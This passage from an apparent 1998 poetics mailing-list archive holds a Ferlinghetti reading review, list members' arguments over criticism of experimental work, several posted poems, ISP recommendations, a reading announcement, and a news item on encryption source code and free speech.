slowly re-emerging.

Lawrence Ferlinghetti, looking hale, hardy, and dashing in a sky blue shirt and enormous red glasses, began his portion of the evening by performing two very funny blues numbers - "Greedy Blues" and "Breeding Blues" - accompanied ably by Steven Taylor on guitar. The first blues is modelled after the old song, "Brother, Can You Spare A Dime?" The second one is a Bill McKibben-like argument for limiting the size of one's personal posterity ("that ersatz eternity," as Camus once noted). Lines like - "O, what is that sperm filling the void? O, only the humans screwing, dear," brought to mind some of Alice Notley's more satiric work from Week One.

Blues were followed by several short lyrics recited by memory (by heart) from _Coney Island_. Then Ferlinghetti took us on a long and delightful ride through _A Far Rockaway of the Heart_, a long semi-serial work that makes out of madness and longing, as the poet himself has it, "a hundred years of beatitude." These poems range over a wide variety of subject matter, yet are all keyed in the special idiom Ferlinghetti has made his own, whether he is speaking of his own life, political tyranny and oppression, Mozart, painting, Rodin, women, Italy, TS Eliot and WCW, or even poetry itself, a category of verse he remarked that he was previously against. That idiom is form of colloquial devotionalism, marked by a tremendous erotic joie de vivre, and operating in the hinge, the dialectical space where desire opposes history. It is a poetry of color and vivacity and immediacy, a celebration of the high and the low, remarkably free from personal nostalgia, yet full of longing for the foundered heimat of the heart. It's a poetry of that most difficult of lost arts, affirmation -- of the great Nietzchean Yes.

Ferlinghetti closed with two uncollected poems - the first an attack on American hypocrisy and paranoia; the second, "Rivers of Light," (which was turned into a beautiful broadside by the fabulous printer Julie Seko and her apprentices in that week's workshop). Written in Prague, where he'd just been, the poem is an homage to that city and to the ancient journey of the heart, as it finds itself near journey's end, about to enter "into the tongue of light."

Patrick Pritchett

↑ Index

172. toddbaron
*Re: Chain of _Dark Secrets_*
Mon 6 Jul 1998

Peter Balestrieri wrote:
>
> Regarding Todd Baron's post regarding Anthony Lawrence's post
> regarding Alan Sondheim's _Dark Secrets_ post:
>
> Todd wrote:
>
> He wouldn't have bothered--
> this is more
> superfluous
> than secretive--
> (is it possible
> to waste "space"--

> air--
> ?
>
> "no ideas
> but in things"
>
> Todd -
> Why the ire? The space that you perceive as "wasted" is dedicated to
> this kind of work and discussion of same. Perhaps you'd rather see ALL
> List space dedicated to discussions of commerce and dead people.

interesting--"ire"
as you have put it
is the word that fits
yr response to a reponse
on a piece of writing that I
truly belived was superfluous--
and the question was "can
space be wasted" --you
didn't post an answer--
but "ire" can be--

I have long ago dismissed a oetics that engages the language in a
self-ish
way--that is--wherer one tries to force the language
into an "experimental" form--for the sake of being that thing others
would call "experimental" --the piece I responded to wasn't doing
anything--
Why discuss it, then--if, in my mind--I already have?

Look at and discuss
more interesting work--in my selfish(yes) mind--
Let's discuss the latest work by Norma Cole--"Desire and its Double--
instead--

"no ideas but
in things"

define
"ideas"
and "things"

--

not "ire"

↑ Index

173. **toddbaron**
Re: My Dark Secrets
Mon 6 Jul 1998

try" Poe's"

a valentine

↑ Index

174. **toddbaron**
Re: Chain of _Dark Secrets_
Mon 6 Jul 1998

and what is "an easy way into
hermuneutics"? anyway?
I thought poetry was "an occult" scienece (R. Duncan)

↑ Index

175. **morpheal**
Re: mr.
Mon 6 Jul 1998

> *oh, mr. morpheal,*
> *i guess i should answer this as a younger but less organized poet.*
> *best, kevin*

I dislike the mr., and hate the sir even more. Thanks though for your best. Not that I would reject a knighthood, but... but I am still only a pawn.

regards,
Morpheal

↑ Index

176. **morpheal**
Re: China 2
Mon 6 Jul 1998

> *Hey, did you see the cover of newsweek a couple weeks back*
> *with the young chinese holding american flag phallus (i mean*
> *baseball bats--with apologies to bill luoma) balloon like things*
> *and then the spread about the New china (it's becoming just*
> *like america; they're even christian, mao unwittingly did*
> *capitalism's dirty work by clearing out the indigenous religions, etc.)*
> *wonder what charles bernstein's chinese translator would say*
> *about THAT.....*
> *chris*

I do not believe them.

They are good at acting, and follow direction meticulously. The adults along with the children.

I then become paranoid about technology transfer to an ideology that has different uses for it than are in our own best interests, but suit their long term strategic objectives.

I say, mix them up, and see what happens.

Radio Free China....here we go....on the air....NOW !

M.

aka Bob Ezergailis

↑ Index

177. Alan J.J.N. Sondheim
Re: clarification
Mon 6 Jul 1998

I was referring to all those "I want my baby back" television movies that are based on the idea of the nuclear family as inviolate except for those forces of evil that take children away from mothers, who are there to be there (no other reason) for children (as children).

Alan

On Tue, 7 Jul 1998, toddbaron wrote:

> *screaming would not be so ill*
> *an effect!Alan J.J.N. Sondheim wrote:*
>
> *I want to make it clear that I'm not reacting to TB's disliking of my work*
> *- it's the disdain and dismissive attitude. There is A LOT of poetry and*
> *poetics I don't like - but would still give serious reply to on the list*
> *here, recommend, etc., depending on taste. I get tired, awfully tired, of*
> *the harrrummmpppth attitude which grows and grows and grows as language*
> *tangles itself back into tradition. Before I know it I'll be desperate to*
> *go out in the streets and scream I want my baby back or something to that*
> *effect.*
>
> *Alan stamping on all-too-well-trodden ground*

↑ Index

178. **Tosh**
Re: fuck clarification (after malok)
Tue 7 Jul 1998

So much fucking and so little release!

Tosh Berman
TamTam Books

↑ Index

179. **toddbaron**
Re: Chain of _Dark Secrets_
Tue 7 Jul 1998

---

ps: readers don't exist. poems do--Alan J.J.N. Sondheim wrote:
>
> On Mon, 6 Jul 1998, toddbaron wrote:
>
> > interesting--"ire"
> > as you have put it
> > is the word that fits
> > yr response to a reponse
> > on a piece of writing that I
> > truly belived was superfluous--
>
> the word is "believe" I believe.
>
> > and the question was "can
> > space be wasted" --you
> > didn't post an answer--
> > but "ire" can be--
>
> Aren't you wasting space here? What sort of space is wasted in cyberspace?
> >
> > I have long ago dismissed a oetics that engages the language in a
> > self-ish
> > way--that is--wherer one tries to force the language
> > into an "experimental" form--for the sake of being that thing others
> > would call "experimental" --the piece I responded to wasn't doing
> > anything--
> > Why discuss it, then--if, in my mind--I already have?

>
> Well good for you - everything in your mind determines the world you evil
> solipsist.
> And "force" the language into an ""experimental"" form? The language
> wasn't
> wiling to go? I raped it, maybe? Murdered it?
> And fuck how well you know my intentions "for the sake of being that thing
> others would call "experimental" -
> This just is fucking ugly. You don't know me or my intentions in fact, or
> what the "sake" of the writing is.
> I have no idea who you are but this is lousy criticism and lousy poetics.
>
> And for your information pieces don't do anything - readers do.
>
> Alan
>
> >
> > Look at and discuss
> > more interesting work--in my selfish(yes) mind--
> > Let's discuss the latest work by Norma Cole--"Desire and its Double--
> > instead--
> >
> > "no ideas but
> > in things"
> >
> > define
> > "ideas"
> > and "things"
> >
> > --
> >
> > not "ire"
> >

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180. **toddbaron**
Re: clarification
Tue 7 Jul 1998

---

screaming would not be so ill
an effect!Alan J.J.N. Sondheim wrote:
>

> I want to make it clear that I'm not reacting to TB's disliking of my work
> - it's the disdain and dismissive attitude. There is A LOT of poetry and
> poetics I don't like - but would still give serious reply to on the list
> here, recommend, etc., depending on taste. I get tired, awfully tired, of
> the harrrummmpppptth attitude which grows and grows and grows as language
> tangles itself back into tradition. Before I know it I'll be desperate to
> go out in the streets and scream I want my baby back or something to that
> effect.
>
> Alan stamping on all-too-well-trodden ground

↑ Index

181. **toddbaron**
Re: fuck clarification (after malok)
Tue 7 Jul 1998

---

amazing---W. Reich has e-mail!Tosh wrote:
>
> So much fucking and so little release!
>
> ----------
> Tosh Berman
> TamTam Books
> ----------

↑ Index

182. **morpheal**
Re: payment [of various kinds in various ways]
Tue 7 Jul 1998

> *morpheal,*
> *this is bullshit. i produce a place to read.that is it. if you want to*
> *drive to london (2 hours away) come.... we'll set a date.*

You are the first to ever make an offer of that kind. I thankyou for that. I have read in London twice, at the local public library both times. Both times with other poets.

Right this moment, I cannot take you up on it. At least not immediately, because of a current job search, possible forced geographic relocation due to joblessness, and not knowing the schedule that will be imposed by those kinds of commitments. To put it succinctly, I am not free to commit to anything out of town,

into the future, as job interviews and work schedule necessarily take survival precedence and cause that to change at a moment's notice.

If that situation improves, and I am geographically within range of London I will certainly take you up on your offer.

> *i have no time for whiny fudges that won't get off their asses.i offer you a venue maybe a beer and an audience.*

I have gotten up off my ass so many times, I have lost count. I have also been knocked down onto it quite a few times, in different situations. So I am the wrong person to direct that comment toward.

> *if you can provide the transport i can provide the gig. give me two weeks. get some friends make a night out of it.*

I am sure someone else could use me, as transportation to London. There is always someone looking for a lift to a gig.

> *i will get on my ego and slide.*

I have never done it for ego's sake, or based on ego.
I suppose we have different natures in that regard.

regards,
Morpheal

P.S. This should have been backchanneled..... Thanks.

↑ Index

183. **sylvester pollet**
Re: My Dark Secrets
Tue 7 Jul 1998

Since the beginning of this exchange I've had a strong feeling that Todd Baron read only the first section of the work--not noticing the rest. There was nothing obscure in the second section, the "translation" Alan called it, or the base text that was translated by his program. I'm one who enjoys & learns from Alan's work, though like a lot of his list-readers I don't respond in writing each time.

↑ Index

184. **Magdalena Zurawski**
Katy Lederer
Tue 7 Jul 1998

Does anyone know Katy Lederer's new address in NY? Backchannel please.

Thanks,
Maggie Zurawski

↑ Index

185. Miekal And
Re: sponse to Todd Baron and Miekal And
Tue 7 Jul 1998

peter & others

quite interesting that my detournement of alan's clarification be taken as a condemnation of alan's comments & works. I am in love with alan & his work, have been since I heard his first esp record release, many many years ago. I am especially inspired of the way he uses this listserv as an environment in which to grow texts formfitted to a very specific audience. I think his texts are one of the best examples we have of electro writing taking on presence & entity consciousness in the cyberstream. further, Ive been endlessly bemused by how provocative these texts become to the poetic thought stream, the comparison I think of is turning on kids who have only been exposed to the 20th century canon to language writing.

as for those who misunderstood "fuck clarification" (the title should have been giveaway), I was referencing the work of Malok, a vetern mail artist famous for his series of ecstatic prayers to humanity called FUCK DIRGE 1-7, in which that horrible word is evoked as a transcendent chant. (of which Malok was inspired by Bern Porter's Last Acts of St Fuck You). my feeling was also layered with frustration that of all places Alan has to take time to validate his work, whether because of it exoticisms, encryption, text wrangling or whatnot.

hopefully Ive blurred the ground between intentions & the random multiplicity of interpretations even further.

back to building a chickenpen

Miekal And

↑ Index

186. Michael Coffey
Katy Lederer -Reply
Tue 7 Jul 1998

i mean this backchannel, but not sure how it will go: katy lederer send this to the list a while back

I'm moving. My new address is:

226 W 108th St Apt 2D
New York, NY 10025

All correspondence regarding EXPLOSIVE MAGAZINE and Spectacular Books
should be directed to this address.

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187. Peter Balestrieri
Response to Todd Baron and Miekal And
Tue 7 Jul 1998

To the List -

A few weeks ago, I posted my frustration over the negative attitude on the List towards "innovative," "experimental" or whatever the hell you want to call it poetry/writing. Everyone who responded either wanted to argue with me over one or two words that I used or dismiss me by saying no, a negative attitude doesn't exist. The recent slighting and insulting posts by Todd Baron and Miekal And are exactly what I was talking about. Their dismissive and rude responses to Alan Sondheim's _Dark Secrets_(I wish this wouldn't always happen to Alan. Other people are probably too afraid to post their work for fear of being ridiculed) are indicative of the lack of recognition on the part of some Listees as to the stated purpose of this List. Todd and Miekal: have you ever read this - "our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible(from the List intro)." Alan Sondheim's work fits this criteria exactly. It is your attitudes that are wasting space and are out of place here. If people can't feel comfortable posting challenging work, fearing glib responses or callous insults, then the List, in my opinion, is a failure.

Pete Balestrieri

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188. Henry Gould
Re: Response to Todd Baron and Miekal And
Tue 7 Jul 1998

Peter, by the same token, if every criticism is labeled dismissive, rude, uncalled-for, etc., maybe people will be afraid to criticize. As I see it Meikal's post was a criticism of Alan's 4-letter over-reaction. Maybe we all need to tone down the

scold level and try to take everything in good humor. After all, that's one of the advantages of these lists; everybody has time to reconsider the slugfest before or afterhand. If Alan's entitled to post his creations, which of course he is, then Todd's entitled to express his opinions.

- Henry G, listhog numero uno

↑ Index

189. Aldon Nielsen
stirring up O.S.
Tue 7 Jul 1998

---

have been away from the list and so will not bore all and sundry with my thoughts on Majuscules and Race etc. --

BUT

I would think (odd verb tense there) that when somebody says that they've never heard of Dr. Angelou being taking to task for . . . . a relevant question might well be "where has this not hearing taken place?" True enough, you won't find such criticism in the pages of ESSENCE,, but Dr. Angelou has had the benefit of any number of negative responses through the years --

This strikes me as a more than usually rhetorical gesture --

↑ Index

190. Henry Gould
challenging works
Tue 7 Jul 1998

Speaking of reading and criticizing: here's an abstract question if anybody's interested: should a poem have a "rational" essence or essences? In other words, is it possible to theorize about an overall ethos (or purpose, or impulse) behind a work?

This kind of idea is threatening on various levels: example, "your theories get in the way of my reading the poem itself", or, "the poem is the poem, it's an experience, not an exercise in allegorical meaning".

But sometimes like in other realms of experience we tend toward fetishism or fascination with externals. Do we read, hear, understand whole poems anymore? Is that something we can ask of a poet? Like, for example, you go to the latest violent thriller movie in all the theaters, and you ask, underneath the extravaganza, what is this film doing? Basically glorifying male arrogance and indulging violent appetites.

Here's a poem which assumes that not only a particular poem but a poet's life-work can be summarized, abstracted, reduced, in a certain way. Admittedly this is only ONE way to look at that particular poet - but it's the ACT of summarizing that intrigues me:

The state shame of the Egyptians
was adorned with pedigree dogs -
the dead were endowed with all sorts of things
and the pyramid stuck up - a mere trifle.

He lived mischievously alongside the gothic,
and spat on the spider's rights,
the insolent schoolboy and robber angel,
the incomparable Francois Villon.

- Mandelstam, 1937

I feel a little cheated if I come away from reading a poem with no concept of what it MEANS - with no sense of an overall cognitive momentum, you might say, with no moral force. There IS an allegorical level to language - to deny it is to lose the whole parabolic force of writing. Then again, just as often the reader (me) will cheat the author - not give it the reading it deserves. - Henry Gould

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191. Simon DeDeo
Working draft I
Tue 7 Jul 1998

---

        radio unfurled from speech.
watched. Fences recede, submerge
        beneath heaving
plant, tracers hanging like
        dreams, radio unfurled
speech to sound from sound
paring the octaves, striate
and dappled dusty like
threads of cigarette smoke
        space   stars
            between
        light   leaves
white as a baptism. I can hear them
shrieking
        from here to Alabama.
What was it you wanted from here,

now.
Aqui.
Ahora. Near, now.

(1998)

↑ Index

192. **R. Gancie**
the center will not hold
Tue 7 Jul 1998

"Man is not so much placed in this idealized center of the world as he is exposed there. The position of Stoicism's observer of the world, at rest, has become the initial position of a self-shaping and world-transforming agent. All other creatures, we are told, have a definite nature, within firmly established laws, imposed upon them. Man is supposed to determine his nature himself on the basis of his freedom; which now means to see the world as serving his self-definition. Even before Copernicus, the shift of the accent from cosmology to anthropology, a process on which the Middle Ages as a whole had worked--under the terms set by prior assumptions--in tiny steps, and with setbacks, is pushed so far forward that the loss of the real center of the universe, as a consequence of a relation to the world that could no longer be characterized cosmologically, could be accepted."---from The Genesis of the Copernican World by Hans Blumenberg --- "The time of an event is defined as the reading of a clock coincident with the event and at rest relative to it. Events which are simultaneous in one inertial frame are not simultaneous in another. Einstein's example: two identical rods R(1) and R(2) are coincident in a given inertial frame in which two observers O(1) and O(2) have synchronized their respective clocks...."--from 'Subtle is the Lord; The Science and the Life of Albert Einstein by Abraham Pais --- "The concept of observation is in so far arbitrary as it depends upon which objects are included in the system of observation."---Neils Bohr

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193. **toddbaron**
Re: My Dark Secrets
Tue 7 Jul 1998

odd--that my response to a piece of writing should be met with anything other than a continuation of a discussion. Poetics--not poetry--is simply a discussuion--and that I read the entire piece--didn't like its project--but felt the need to respond--IS a poetics attempting to engage a discussion. Briefly--I did not like the "poem" or piece--found both sections dis-engaged--one not really meant to be

"read" and the other a straight forward narrative that did not engage me. Oddly enough--for those responses--I've been labeled a "revisionist" and such-- I wonder why.

anyway--

a response is
in other other
otherwords

↑ Index

194. **k. lederer**
Query/Good ISP in NYC
Tue 7 Jul 1998

Hi,

Does anyone out there have an ISP to recommend?

I just moved and need to get hooked up to web fast.... most e-mail and web hours for best price....

Suggestions?

Thanks,
Katy

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195. **k. lederer**
Query/Good ISP? PS....
Tue 7 Jul 1998

Oooops...

I moved to NYC--need good cheap ISP in NYC...

Thanks again,
Katy

↑ Index

196. **Billy Little**
Re: Response to Todd Baron and Miekal And
Tue 7 Jul 1998

---

i thawt miekal's response wuz a concrete pome, he couldn't possibly have been criticizing Alan's work.

billy little
4 song st.
nowhere, b.c. V0R1Z0

...like
this - everytime i write a
poem - i'm afraid - when
i'm dead it will sell
& some other poet will
starve because no one will
buy his poems...

d.a. levy

↑ Index

197. Alan J.J.N. Sondheim
Re: Query/Good ISP in NYC
Tue 7 Jul 1998

Depends what you want Erols is inexpensive, and there are inexpensive ones listed in the Voice, etc. There's Interport.net and Panix.com which I use - the last is $32.50 a month but includes both IP and shell accounts. Finally there's good old AOL. Panix and Interport - as most ISPs - are flat rate so I'm not sure what you mean by "most e-mail."

Alan

On Tue, 7 Jul 1998, k. lederer wrote:

> *Hi,*
>
> *Does anyone out there have an ISP to recommend?*
>
> *I just moved and need to get hooked up to web fast.... most e-mail and web hours for best price....*
>
> *Suggestions?*
>
> *Thanks,*
> *Katy*

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198. David Golumbia
Re: Query/Good ISP in NYC
Tue 7 Jul 1998

I use Mindspring from NYC, & have excellent results...

$20/month for unlimited connection time

have rarely if ever had a busy signal

only problem is no telnet reader for email, in other words you always have to "pop" your email from a server

but if you have a university account, you can use mindspring for IP access and then telnet to your mail account (voila)

--
[redacted]
David Golumbia

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199. Eryque Gleason
Re: Query/Good ISP in NYC
Tue 7 Jul 1998

you might check out Megs Inet. i don't know how good they are, but they're nationwide and cheap. www.megsinet.com [redacted]

their webpage says $10 unlimited for K56, $15 for 2X56, $20 for ISDN dialup.

goodluck,
eryque

On Tue, 7 Jul 1998, k. lederer wrote:

> *Hi,*
>
> *Does anyone out there have an ISP to recommend?*
>
> *I just moved and need to get hooked up to web fast.... most e-mail and web hours for best price....*
>
> *Suggestions?*
>
> *Thanks,*
> *Katy*

↑ Index

200. **David Baratier**
Re: Query/Good ISP? PS....
Tue 7 Jul 1998

Megsinet is the bomb. They are pretty much a midwest company tho and unfortunately don't have local dial up in NYC, unless something has changed in the last two months. I can get you set up, with ISP and pages, earthlink with sprint/mci backbone, let me know.

Be well

David Baratier

↑ Index

201. **toddbaron**
Re: Response to Todd Baron and Miekal And
Tue 7 Jul 1998

"dismissive"--no. A reaction entirely does the opposite--had I wanted to "dismiss" the work--I would have delted it it silently. Have you noticed that there has actually been more dialogue about this particular issue and piece of writing than usual. Mainly, this list talks about "payment" and issue of magazines--and very little do I see a posting regarding a "poetics": a dialogue: a discussion on such. The work is "challenging"? OK--then I challenged it! Would this--had it been read in a group situation--been simply read and not responded to? If a poem or poet or artist or artwork cannot stand the critical response (which, by the way--mine was--if you noticed I discussed the two sections of the piece--seemingly know the piece almost by heart now--and discussed the concept of "experimental"--which everything is--unless you think you've "got it"--and have written several postings on the poem. I have never attacked the poet--as the poem was all I was concerned with. If you think that by responding in a truth and critical way stops people from posting work--challenging or otherwise--then maybe they shold stop posting work. After all, is it to be "read"? which is an active thing--or "read" like/as in, listened to--like TV--then walked away from?

The idea--for me-of this list --is such a dialogue--less for posting poems than for discussing issues of poetics. That is certainly not a failure--as we seem to be trying to do so now...

Todd BaronPeter Balestrieri wrote:
>
> To the List -
>
> A few weeks ago, I posted my frustration over the negative attitude on
> the List towards "innovative," "experimental" or whatever the hell you

> want to call it poetry/writing. Everyone who responded either wanted
> to argue with me over one or two words that I used or dismiss me by
> saying no, a negative attitude doesn't exist. The recent slighting and
> insulting posts by Todd Baron and Miekal And are exactly what I was
> talking about. Their dismissive and rude responses to Alan Sondheim's
> _Dark Secrets_(I wish this wouldn't always happen to Alan. Other
> people are probably too afraid to post their work for fear of being
> ridiculed) are indicative of the lack of recognition on the part of
> some Listees as to the stated purpose of this List. Todd and Miekal:
> have you ever read this - "our aim is to support, inform, and extend
> those directions in poetry that are committed to innovations,
> renovations, and investigations of form and/or/as content, to the
> questioning of received forms and styles, and to the creation of the
> otherwise unimagined, untried, unexpected, improbable, and
> impossible(from the List intro)." Alan Sondheim's work fits this
> criteria exactly. It is your attitudes that are wasting space and are
> out of place here. If people can't feel comfortable posting
> challenging work, fearing glib responses or callous insults, then the
> List, in my opinion, is a failure.
>
> Pete Balestrieri

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202. **Chris McCreary**

Highwire reading/Frank Sherlock & Carol Mirakove

Tue 7 Jul 1998

This announcement is posted for Kyle Conner & Greg Fuchs, neither of whom are currently on the list. If you've got an questions, they can be reached at: [redacted] (Greg) and [redacted] (that one's pretty obvious, I guess...).

Thanks.

HIGHWIRE READING HIGHWIRE READING HIGHWIRE READING HIGHWIRE READIN HIGH WIRE

Frank Sherlock &

Carol Mirakove 8pm BYOB July 11, 1998

highwire GALLERY
139 n. 2nd st. $$$$5 (no big f***** deal)
Philadelphia

<<fireworks of the written word>>

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203. **Simon DeDeo**

Re: challenging works

Tue 7 Jul 1998

> *Henry Gould wrote:*
>
> *Speaking of reading and criticizing:here's an abstract question if anybody's interested: should a poem have a "rational" essence or essences? In other words, is it possible to theorize about an overall ethos (or purpose, or impulse) behind a work?*

In one sense, there should be no ruling idea of how to "deal" with poetry; when you first bring someone to a poem, when it's their first time really "reading" poetry, it's vital to guide them towards an idea that the poem is "saying something". Otherwise, you risk a sort of unthoughtout response along the lines of "ah, isn't poetry great, it all sounds so poetic."

But I think some people begin to get obsessed with finding a poem's essence. That idea, that there is a "soul" to a poem hidden beneath its syntax and word choice, is in some sense derived from the Romantic poem itself, with all its faith in self-expression, in the soulful [I/eye]. We read a poem and perceive the text itself as the author, struggling to find itself. The critic's job then, is to "psychoanalyse" the poem and figure it all out.

When you get to issues of indeterminacy, multiple narratives, the "postmodern condition", and so on, all this soulsearching becomes second order. You can point to indeterminacy and say, ya, there it is; but that's not the poem's "point". The poem begins with indeterminacy, and moves from there along some vector oblique to the critic's tongue.

Here's something I've been playing with today; I took an old draft of a poem and started removing words, rearranging the typography, pushing in spaces and generally trying to condense and eliminate. The two texts are below, side by side. The right hand side "includes" the meaning of the left, and vice versa, although you might not have found the right in the left. What is the essence of the left hand side? Is it different from the

right? And what is the sum of the two -- does it mean something different?

Not sure the formatting is going to work, so I've put up the two texts at http://www.fas.harvard.edu/~sdedeo/sonnet.html

What I'm trying to get at here is that the idea that a poem has an "essence" is not as simple as it seems at first glance. It complexifies; sort of like those endless theological debates that the Pharisees pose Jesus about the immortal soul (if a man marries again after his wife dies, who is he married to in heaven?), or the medieval theologians go on about.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

The radio unfurled from speech. radio unfurled from speech. I watched. Fences recede, submerge watched. Fences recede, submerge themselves beneath the heavings beneath heaving of plant, tracers hanging like dreams plant, tracers hanging like my dreams, the radio unfurled dreams, radio unfurled from speech to sound from sound speech to sound from sound paring the octaves, striate and dappled paring the octaves, striate dusty like the threads of cigarette and dappled dusty like smoke, like space betweeen stars, threads of cigarette smoke towards light between leaves space stars white as a baptism. I can hear them between shrieking from here to Alabama. light leaves What was it you wanted from here, white as a baptism. I can hear them now. Aqui, Ahora. Near, Now. shrieking from here to Alabama. What was it you wanted from here, now. Aqui.
Ahora. Near, now.

(1998)

> *This kind of idea is threatening on various levels: example, "your theories get in the way of my reading the poem itself", or, "the poem is the poem, it's an experience, not an exercise in allegorical meaning".*
>
> *But sometimes like in other realms of experience we tend toward fetishism or fascination with externals. Do we read, hear, understand whole poems*

> *anymore? Is that something we can ask of a poet? Like, for example, you go to the latest violent thriller movie in all the theaters, and you ask, underneath the extravaganza, what is this film doing? Basically glorifying male arrogance and indulging violent appetites.*
>
> *Here's a poem which assumes that not only a particular poem but a poet's lifework can be summarized, abstracted, reduced, in a certain way. Admittedly this is only ONE way to look at that particular poet - but it's the ACT of summarizing that intrigues me:*
>
> *The state shame of the Egyptians*
> *was adorned with pedigree dogs -*
> *the dead were endowed with all sorts of things*
> *and the pyramid stuck up - a mere trifle.*
>
> *He lived mischievously alongside the gothic,*
> *and spat on the spider's rights,*
> *the insolent schoolboy and robber angel,*
> *the incomparable Francois Villon.*
>
> *- Mandelstam, 1937*
>
> *I feel a little cheated if I come away from reading a poem with no concept of what it MEANS - with no sense of an overall cognitive momentum, you might say, with no moral force. There IS an allegorical level to language - to deny it is to lose the whole parabolic force of writing. Then again, just as often the reader (me) will cheat the author- not give it the reading*

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204. **toddbaron**

Re: challenging works

Tue 7 Jul 1998

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> - Henry Gould

great query--the old one--and persoanlly--I don't always need to come away from a poem with a "read" meaning. If you read Celan, say, today--what is the meaning of many of the poems? Forget allegory--or the old weak metaphor--but isn't language a creative thing--that generates--and engenders--as well as (can be used for) saying something. I want my grocery list to have immediate readability--but I spend very little time investing the language there!

STEIN:

words have to do everything in poetry and prose and some writers write more in articles and prepositions and some say you should write in nouns and of course one has to think of everything...there could no longer be form to decide anything..." Lectures in America

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206. Matt Kirschenbaum
performative
Tue 7 Jul 1998

Of possible interest. Matt

> **********
> *Edupage, 7 July 1998. Edupage, a summary of news about information technology, is provided three times a week as a service of EDUCAUSE, a consortium of leading colleges and universities seeking to transform education through the use of information technologies. The organization has offices in Boulder, Colorado and Washington, D.C.*
> **********

[. . .]

> *COURT SAYS FIRST AMENDMENT DOESN'T COVER SOURCE CODE*
> *A U.S. district court judge turned down Case Western Reserve professor Peter Junger's argument that he should be allowed to publish several encryption programs on the Web because the underlying software code should be treated as free speech. The ruling conflicts with a decision last summer in a case involving mathematics professor Daniel Bernstein that said distribution of software code over the Internet was constitutionally protected. "Source code is 'purely functional' in a way that the Bernstein Court's examples of instructions, manuals and recipes are not," said Judge James Gwin in the*

> *Junger case. "Unlike instructions, a manual, or a recipe, source code actually performs the functions it describes. While a recipe provides instructions to a cook, source code is a device, like embedded circuitry in a telephone, that actually does the function of encryption." Mr. Junger plans to appeal Judge Gwin's decision. (Wall Street Journal 7 Jul 98)*

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207. Jordan Davis
dent upon their atom
Wed 8 Jul 1998

Morpheal suggested that fear of being understood motivated modern artists to be difficult I am paraphrasing. This does not seem. To be accurate, what one fears is the bracket and onrush, the moment [one's] meaning is consumed. The fear leads to the destabilizing effect much joy. But must this not mean. That drawer allusion. You're it. Turn the ghosts blue eating the big dot. What it means must be here and there. Only important not to be touched by ghosts. Fear repels thought. Imagination oz paranoia. If there were negative thoughts a lion would understand them. Resistance is useful only. Surplus resistance. If it were possible to find beauty by looking anywhere. The list is lists not overlap. Go the speakers ski across a waste. Starting no. Screening does not limit nor enhance return. Bets against the good as bets for why not. White out Jasper. 9:01 one hundred sixty eight chairs 9:03. Hey, my fellow symbolic-analysts, how's it hangin. How is that self-enacting critique of capitalism going. Not having a coke with you. If it were possible to have a thought in a poem I know you. Why what.

Is for

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208. Jordan Davis
successfully public within
Wed 8 Jul 1998

Or the consuming moment will lack. There is a pendulous gram? Luxurious hornets, stained glass structure ducts, antique drinking, all nailed because of the consume. So the paraphrasable is a military outpost. An exception is Due North. Ovation industry plays a major role, actually, though we make fun of fame. Sold off. The epicenter is a street car line, inflation 40%. Crony capitalism. The survivor tree stands (thirty years off). "It was considered to be wild country."

Is for

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209. Alan J.J.N. Sondheim
About Poetics
Wed 8 Jul 1998

-

to do some writing you have a clear crystal
and it's made of glass, so it's crystal glass
you must make sure the edges are ground glass
so light melts in them and then as well
slight chips are imperfections greatly
desired as light comes pouring through

this makes the writing what it is and all
else falls against the edge of the mass
through which light passes through the mass
with images of disks and things to tell
of what had happened to it lately
something passing from me to you

writing comes pouring through the disk
like something passing through the disk

↑ Index

210. toddbaron
a quiet night: POETICS: "a quiet right"
Wed 8 Jul 1998

quoted:

not to confuse memory
with reading if the difference (Martin Nakell. The Library
of THomas Rivka)

Normal consciousness, pricks of everyday discomfort...

(HD. Notes on Thought and Vision)

Religon

&

Art

Love

A home

A typewriter

A GUN

(T. Berrigan Red Wagon)

The idea of "self" has been with me a very long time...

(Robert Duncan. The Self in Postmodern Poetry,)

Alas!

(W. Shakespeare)

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211. Henry Gould

Re: challenging works

Wed 8 Jul 1998

---

a voice moving sounds through an instrument
creating a resonance
and the written score
evidence of a crystallized impulse
already roving through leaves those tracks in
a maze design you can follow everywhere and nowhere

the shadow of the voice is measured
and the longer the shadow the greater the
the distance between the tracks and the voice

but you can follow the shadow through the maze
as long as it's
still there

or you can wait for the voice
to take form - like a shadow traced
back to the one who cast it

then again you can cross over to Jordan & get sloshed
which might be more realistic &
fun ey wh?

↑ Index

212. John Latta

Re: successfully public within

Wed 8 Jul 1998

Didn't Ron Silliman some, oh, thirty years back, put it like this:

"what high lurking hornets buick the moose"

(Just the sound of a tiny connection being made.)

John Latta

On Wed, 8 Jul 1998, Jordan Davis wrote:

> *Or the consuming moment will lack. There is a pendulous gram? Luxurious hornets, stained glass structure ducts, antique drinking, all nailed because of the consume. So the paraphrasable is a military outpost. An exception is Due North. Ovation industry plays a major role, actually, though we make fun of fame. Sold off. The epicenter is a street car line, inflation 40%. Crony capitalism. The survivor tree stands (thirty years off). "It was considered to be wild country."*
>
> *Is for*

↑ Index

213. **Michael Coffey**

dent upon their atom -Reply

Wed 8 Jul 1998

---

i couldn't consume your meaning, so you be happy now.

>>> UB Poetics discussion group 07/08/98 12:16am >>>
Morpheal suggested that fear of being understood motivated modern artists
to be difficult I am paraphrasing. This does not seem. To be accurate, what one fears is the bracket and onrush, the moment [one's] meaning is consumed. The fear leads to the destabilizing effect much joy. But must this not mean. That drawer allusion. You're it. Turn the ghosts blue eating the big dot. What it means must be here and there. Only important not to be touched by ghosts. Fear repels thought. Imagination oz paranoia.
If there were negative thoughts a lion would understand them. Resistance
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Is for

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214. Michael Coffey
About Poetics -Reply
Wed 8 Jul 1998

---

through a glass, barely.

why such breastbeating about being obscure? we begin in obscurity, let's not pretend we invent it.

>>> UB Poetics discussion group 07/08/98 12:48am >>>
-

to do some writing you have a clear crystal
and it's made of glass, so it's crystal glass
you must make sure the edges are ground glass
so light melts in them and then as well
slight chips are imperfections greatly
desired as light comes pouring through

this makes the writing what it is and all
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through which light passes through the mass
with images of disks and things to tell
of what had happened to it lately
something passing from me to you

writing comes pouring through the disk
like something passing through the disk

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215. Charles Bernstein
Poetics List SHUTDOWN
Wed 8 Jul 1998

